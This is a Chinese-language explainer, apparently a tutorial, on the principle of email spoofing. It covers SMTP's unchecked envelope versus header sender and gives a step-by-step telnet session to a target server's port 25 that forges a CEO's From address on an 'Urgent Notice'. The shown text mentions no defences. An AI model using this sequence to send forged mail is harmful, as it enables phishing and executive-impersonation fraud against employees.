### 伪造电子邮件的原理

**1. SMTP 协议的漏洞**

SMTP 协议在设计之初，主要关注邮件的投递，而不是发件人的身份验证。它的工作方式非常简单：

1. **`HELO/EHLO`**：发送方（邮件客户端或服务器）向接收方（邮件服务器）发出问候，告知自己的域名
2. **`MAIL FROM`**：发送方指定**邮件的“信封发件人”**，也就是邮件的实际投递地址
3. **`RCPT TO`**：发送方指定收件人地址
4. **`DATA`**：发送方发送邮件内容，包括邮件的**“信头”**（`From`、`To`、`Subject` 等）和邮件正文

**漏洞所在**：在 SMTP 协议中，`MAIL FROM` 和信头中的 `From` 地址是**两个独立的字段**，且 **SMTP 服务器不会对这两者进行交叉验证**

- `MAIL FROM`：用于邮件投递，类似于信封上的回邮地址
- `From`：用于显示给用户看，类似于信纸上的发件人

攻击者可以轻松地在 `MAIL FROM` 中使用自己的地址，而在 `From` 字段中填写任何伪造的地址，例如 `ceo@yourcompany.com`。接收方邮件服务器只会检查 `MAIL FROM` 的合法性，而收件人看到的则是被伪造的 `From` 地址

**2. 伪造电子邮件的步骤**

**第一步：搭建邮件发送环境**

攻击者可以使用自己的服务器或第三方服务来发送邮件。最简单的方式是使用一个 Linux 服务器，通过 **Telnet** 或 **Netcat** 直接连接到目标邮件服务器的 **25** 端口，模拟 SMTP 协议的发送过程

**第二步：执行伪造命令**

攻击者在命令行中，按照 SMTP 协议的规范，输入以下命令：

1. **连接邮件服务器**：

   ```bash
   telnet mailserver.targetdomain.com 25
   ```

2. **问候**：

   ```
   HELO attacker.com
   ```

3. **指定“信封发件人”**：

   ```
   MAIL FROM:<me@attacker.com>
   ```

   这个地址通常是攻击者自己的，它只用于投递过程

4. **指定收件人**：

   ```
   RCPT TO:<victim@targetdomain.com>
   ```

5. **发送邮件内容**：

   ```
   DATA
   ```

   服务器会回复一个 `354` 码，表示可以开始输入邮件内容

6. **伪造“信头”**：

   ```
   From: "CEO" <ceo@yourcompany.com>
   To: <victim@targetdomain.com>
   Subject: Urgent Notice
   ```

   这里，`From` 字段被伪造成了 CEO 的地址，而收件人看到的就是这个伪造的地址

7. **发送正文**：

   ```
   <邮件正文内容>
   .
   ```

   输入一个单独的 `.`，然后回车，表示邮件结束。服务器会回复 `250` 码，表示邮件已发送成功